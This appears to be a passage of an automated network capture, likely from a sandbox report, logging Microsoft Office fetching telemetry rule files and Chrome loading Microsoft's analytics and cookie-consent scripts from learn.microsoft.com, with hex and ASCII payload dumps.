2024-11-25 11:07:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110742Z-174c587ffdf89smkhC1TEB697s00000005v000000000g541 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:43 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110743Z-174c587ffdfcb7qhhC1TEB3x7000000005x000000000ahb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:07:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49789	13.107.246.63	443	4708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:43 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:07:43 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:43 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241125T110743Z-178bfbc474bw8bwphC1NYC38b4000000078g0000000039k1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-25 11:07:43 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-25 11:07:44 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-25 11:07:44 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49788	13.107.246.63	443	4708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:43 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:07:43 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:43 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 14529 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 74184934-601e-00b6-5c08-3fb2a9000000 x-ms-version: 2009-09-19 x-azure-ref: 20241125T110743Z-174c587ffdfb74xqhC1TEBhabc00000005tg00000000dduw Accept-Ranges: bytes
2024-11-25 11:07:43 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
